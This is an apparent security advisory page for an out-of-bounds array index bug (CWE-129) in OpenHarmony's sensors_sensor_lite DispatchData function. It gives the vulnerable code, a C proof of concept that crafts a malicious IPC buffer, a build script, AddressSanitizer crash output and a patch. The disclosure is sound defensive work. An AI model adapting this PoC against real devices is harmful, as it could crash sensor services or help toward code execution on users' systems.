Dashboard/Issues/OH-2026-IPC-006
SubmittedCWE-129 — Improper Validation of Array Index

DispatchData 未校验 sensorTypeId 导致越界数组访问

View Upstream Issuegitcode.com/openharmony/sensors_sensor_lite/issues/28
CWE:CWE-129 — Improper Validation of Array Index
Date:2026-05-16
Reporter:Zirui
Affected Files
frameworks/src/sensor_agent_proxy.c:200frameworks/src/sensor_agent_proxy.c:225

漏洞概述

sensors_sensor_liteDispatchData() 函数将 sensorEvent->sensorTypeId 直接用作全局数组 g_callbackNodes[] 的索引,无任何边界检查。该 sensorTypeId 来源于 IPC 数据(SensorChannelCallback 从 IPC buffer 中 cast 得到的 SensorEvent 结构体),攻击者可构造任意 sensorTypeId 值触发越界读取。

同一文件中的 InsertCallbackNode()DeleteCallbackNode() 均有 sensorTypeId >= SENSOR_TYPE_ID_MAX 的边界检查,但 DispatchData() 遗漏了此检查。

问题代码

文件: frameworks/src/sensor_agent_proxy.c

// Line 38 — 全局数组定义
CallbackNode g_callbackNodes[(int32_t)SENSOR_TYPE_ID_MAX] = { ... };

// Line 193-206 — DispatchData 无边界检查
void DispatchData(SensorEvent *sensorEvent)
{
    if (sensorEvent == NULL) {
        return;
    }
    int32_t sensorId = sensorEvent->sensorTypeId;  // ← IPC 不可信数据
    CallbackNode *node = (CallbackNode *)(g_callbackNodes[sensorId].next);
    //                                    ^^^^^^^^^^^^^^^^^^^^^^^^
    //                                    无边界检查,sensorId 可为任意值
    while (node != NULL) {
        node->callback(sensorEvent);
        node = (CallbackNode *)(node->next);
    }
}

// Line 225-233 — SensorChannelCallback 数据来源
SensorEvent *event = (SensorEvent *)(eventData);  // ← IPC ReadBuffer 直接 cast
g_sensorEvent->sensorTypeId = event->sensorTypeId;  // ← 不可信
DispatchData(g_sensorEvent);  // ← 传入未校验的 sensorTypeId

对比已有边界检查的函数:

// Line 60-65 — InsertCallbackNode 有检查
static int32_t InsertCallbackNode(int32_t sensorTypeId, const SensorUser *user)
{
    if ((sensorTypeId >= (int32_t)SENSOR_TYPE_ID_MAX) || (sensorTypeId < 0)) {
        return SENSOR_ERROR_INVALID_PARAM;  // ← 正确的边界检查
    }
    ...
}

触发条件

  1. 攻击者控制 Sensor Service 的 IPC 数据通道
  2. 构造 IPC 消息,其中 SensorEvent.sensorTypeId 设置为超出 SENSOR_TYPE_ID_MAX 的值
  3. SensorChannelCallback 接收数据后调用 DispatchData
  4. 越界访问 g_callbackNodes[恶意值]

影响

  • 越界读取全局数组后的内存(信息泄露)
  • 若越界位置的 .next 字段非 NULL,将跳转到攻击者可控地址执行 node->callback()(代码执行)
  • 进程崩溃(SIGSEGV)

PoC 验证

方法: Target-Compile — 编译真实 sensor_agent_proxy.c.o,test driver 通过公共 API 入口 RegisterSensorChannel 注册 IPC 回调,再通过 SAMGR_SimulatePush 模拟服务端推送触发漏洞。

编译产物:

  • sensor_agent_proxy.o — 真实源码编译(使用 -Dstatic= 暴露内部状态用于测试初始化)
  • ohos_stubs.o — OHOS IPC/SAMGR/HiLog 框架桩(IpcIo 完整 Read/Write 序列化 + SAMGR mock + HiLog + SimulatePush)
  • cJSON.o — cJSON 库桩
  • memcpy_s.o — securec memcpy_s 自动桩

触发路径:

main → RegisterSensorChannel(mockProxy, 0)
     → 设置 g_objectStub.func = SensorChannelCallback
     → WriteRemoteObject 注册 IPC push callback
     → malloc 分配 g_sensorEvent
     → SAMGR_SimulatePush(&crafted_ipc)  (模拟服务端 IPC 数据推送)
       → SensorChannelCallback(0, &ipc_data, NULL, option)
         → ReadUint32(len1) → ReadBuffer(len1) → cast SensorEvent*
         → 复制 sensorTypeId=0x7FFFFFFF 到 g_sensorEvent
         → DispatchData(g_sensorEvent)
           → g_callbackNodes[0x7FFFFFFF].next → SEGV (越界读取)

ASan 输出:

==74132==ERROR: AddressSanitizer: SEGV on unknown address 0x6066e8c38a18
==74132==The signal is caused by a READ memory access.
    #0 in DispatchData sensor_agent_proxy.c:201
    #1 in SensorChannelCallback sensor_agent_proxy.c:233
    #2 in SAMGR_SimulatePush (IPC push callback dispatch)
    #3 in main poc.c:109
SUMMARY: AddressSanitizer: SEGV sensor_agent_proxy.c:201 in DispatchData
==74132==ABORTING

Patch 验证(before/after 对比):

BEFORE: ERROR: AddressSanitizer: SEGV on unknown address 0x6066e8c38a18 in DispatchData
AFTER:  [ERROR] DispatchData failed, sensorId 2147483647 out of range [0, 30)
        exit=0, ASan not triggered ✓

修复建议

void DispatchData(SensorEvent *sensorEvent)
{
    if (sensorEvent == NULL) {
        return;
    }
    int32_t sensorId = sensorEvent->sensorTypeId;
+   if ((sensorId < 0) || (sensorId >= (int32_t)SENSOR_TYPE_ID_MAX)) {
+       HILOG_ERROR(HILOG_MODULE_APP, "%s invalid sensorTypeId: %d", __func__, sensorId);
+       return;
+   }
    CallbackNode *node = (CallbackNode *)(g_callbackNodes[sensorId].next);
    ...
}

附录:PoC 源码

poc.c

/*
 * Target-Compile PoC: DispatchData OOB Array Index (CWE-129)
 *
 * Trigger path:
 *   RegisterSensorChannel(mockProxy, 0)
 *     → sets g_objectStub.func = SensorChannelCallback
 *     → WriteRemoteObject registers IPC push callback
 *     → allocates g_sensorEvent via malloc
 *   SAMGR_SimulatePush(&crafted_ipc)
 *     → SensorChannelCallback(0, &ipc_data, NULL, option)
 *       → copies sensorTypeId=0x7FFFFFFF to g_sensorEvent
 *       → DispatchData(g_sensorEvent)
 *         → g_callbackNodes[0x7FFFFFFF].next → SEGV (OOB read)
 *
 * Build: Links against real sensor_agent_proxy.o + ohos_stubs.o
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include "serializer.h"
#include "ipc_skeleton.h"
#include "iproxy_client.h"
#include "sensor_agent_type.h"
#include "sensor_agent_proxy.h"
#include "samgr_lite.h"
#include "log.h"

extern SensorEvent *g_sensorEvent;
extern int32_t RegisterSensorChannel(const void *proxy, int32_t sensorId);

static int MockInvoke(struct IClientProxy *proxy, int funcId, IpcIo *request,
                      void *owner, int (*notify)(void*, int, IpcIo*))
{
    (void)proxy; (void)funcId; (void)request; (void)notify;
    if (owner) *((int32_t*)owner) = 0;
    return 0;
}
static int MockQueryInterface(void *iUnknown, int version, void **target)
{
    (void)iUnknown; (void)version; (void)target;
    return 0;
}
static int MockAddRef(void *iUnknown) { (void)iUnknown; return 1; }
static int MockRelease(void *iUnknown) { (void)iUnknown; return 0; }

int main(void)
{
    /* Phase 1: RegisterSensorChannel — public API entry point */
    g_sensorEvent = NULL;

    IClientProxy mockProxy;
    mockProxy.QueryInterface = (QueryInterface)MockQueryInterface;
    mockProxy.AddRef = (AddRef)MockAddRef;
    mockProxy.Release = (Release)MockRelease;
    mockProxy.Invoke = (int (*)(struct IClientProxy*, int, IpcIo*, void*,
                                int (*)(void*, int, IpcIo*)))MockInvoke;

    int32_t ret = RegisterSensorChannel((const void *)&mockProxy, 0);
    if (ret != 0 || g_sensorEvent == NULL) {
        fprintf(stderr, "[POC] Setup failed\n");
        return 1;
    }

    /* Phase 2: Craft malicious IPC buffer
     * Wire format: [u32 len1][SensorEvent bytes][u32 len2][sensor data bytes] */
    uint8_t ipc_buf[256];
    memset(ipc_buf, 0, sizeof(ipc_buf));
    size_t off = 0;

    uint32_t len1 = (uint32_t)sizeof(SensorEvent);
    memcpy(ipc_buf + off, &len1, sizeof(uint32_t));
    off += sizeof(uint32_t);

    SensorEvent malicious;
    memset(&malicious, 0, sizeof(malicious));
    malicious.sensorTypeId = 0x7FFFFFFF;
    memcpy(ipc_buf + off, &malicious, sizeof(SensorEvent));
    off += sizeof(SensorEvent);

    uint32_t len2 = 8;
    memcpy(ipc_buf + off, &len2, sizeof(uint32_t));
    off += sizeof(uint32_t);
    uint8_t dummy[8] = {0};
    memcpy(ipc_buf + off, dummy, sizeof(dummy));
    off += sizeof(dummy);

    IpcIo ipc_data;
    IpcIoInit(&ipc_data, ipc_buf, off, 0);

    /* Phase 3: Trigger via SAMGR_SimulatePush — IPC push simulation */
    ret = SAMGR_SimulatePush(&ipc_data);

    free(g_sensorEvent);
    g_sensorEvent = NULL;
    return 0;
}

Proof of Concept

build.sh62 lines · 1.9 KB
Download
#!/bin/bash
# Build script for OH-2026-IPC-006 PoC (target-compile)
#
# Prerequisites:
#   - OHOS toolkit stubs at <toolkit-path>/stubs/
#   - Real sensor_agent_proxy.c source
#   - gcc with ASan support
#
# Usage: ./build.sh <sensors_sensor_lite_path> <toolkit-stubs-path>

set -e
TARGET="${1:?Usage: $0 <sensors_sensor_lite_path> <toolkit-stubs-path>}"
STUBS="${2:?Missing toolkit-stubs-path}"

TMPDIR=$(mktemp -d /tmp/fermat_ipc006_XXXXXX)
trap "rm -rf $TMPDIR" EXIT

echo "[*] Compiling real sensor_agent_proxy.c ..."
gcc -c -Dstatic= -fsanitize=address -fno-omit-frame-pointer -O0 -g \
    -I "$TARGET/interfaces/kits/native/include" \
    -I "$TARGET/frameworks/include" \
    -I "$TARGET/services/include" \
    -I "$STUBS" \
    "$TARGET/frameworks/src/sensor_agent_proxy.c" \
    -o "$TMPDIR/sensor_agent_proxy.o"

echo "[*] Compiling stubs ..."
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 \
    -I "$STUBS" "$STUBS/ohos_stubs.c" -o "$TMPDIR/ohos_stubs.o"
gcc -c -fsanitize=address -fno-omit-frame-pointer -O0 \
    -I "$STUBS" "$STUBS/cJSON.c" -o "$TMPDIR/cJSON.o"

echo "[*] Compiling memcpy_s stub ..."
echo '#include <string.h>
int memcpy_s(void *d, size_t ds, const void *s, size_t n) {
    if (!d || !s || n > ds) return 1;
    memcpy(d, s, n); return 0;
}' | gcc -c -O0 -x c - -o "$TMPDIR/memcpy_s.o"

echo "[*] Compiling test driver ..."
gcc -c -Dstatic= -fsanitize=address -fno-omit-frame-pointer -O0 -g \
    -I "$TARGET/interfaces/kits/native/include" \
    -I "$TARGET/frameworks/include" \
    -I "$TARGET/services/include" \
    -I "$STUBS" \
    "$(dirname "$0")/poc.c" \
    -o "$TMPDIR/poc.o"

echo "[*] Linking ..."
g++ -O0 -fsanitize=address -fno-omit-frame-pointer \
    -o "$TMPDIR/poc_bin" \
    "$TMPDIR/sensor_agent_proxy.o" \
    "$TMPDIR/cJSON.o" \
    "$TMPDIR/ohos_stubs.o" \
    "$TMPDIR/memcpy_s.o" \
    "$TMPDIR/poc.o" \
    -lpthread -lstdc++

echo "[*] Running PoC ..."
"$TMPDIR/poc_bin"
echo "[*] Done (exit=$?)"
poc.c116 lines · 4.1 KB
Download
[DEBUG] RegisterSensorChannel begin
[DEBUG] IsRegisterCallback begin
[POC] RegisterSensorChannel returned: 0
[POC] g_sensorEvent at 0x504000000010, push callback registered=1
[POC] Triggering SAMGR_SimulatePush with sensorTypeId=0x7FFFFFFF
[DEBUG] SensorChannelCallback begin
[DEBUG] DispatchData begin
AddressSanitizer:DEADLYSIGNAL
=================================================================
==74132==ERROR: AddressSanitizer: SEGV on unknown address 0x6066e8c38a18 (pc 0x605ee8c1cbc4 bp 0x7ffff0d37cc0 sp 0x7ffff0d37ca0 T0)
==74132==The signal is caused by a READ memory access.
    #0 0x605ee8c1cbc4 in DispatchData sensor_agent_proxy.c:201
    #1 0x605ee8c1d283 in SensorChannelCallback sensor_agent_proxy.c:233
    #2 0x605ee8c2c4c8 in SAMGR_SimulatePush (IPC push callback dispatch)
    #3 0x605ee8c304b3 in main poc.c:109
    #4 0x749009a2a1c9 in __libc_start_call_main
    #5 0x749009a2a28a in __libc_start_main_impl
SUMMARY: AddressSanitizer: SEGV sensor_agent_proxy.c:201 in DispatchData
==74132==ABORTING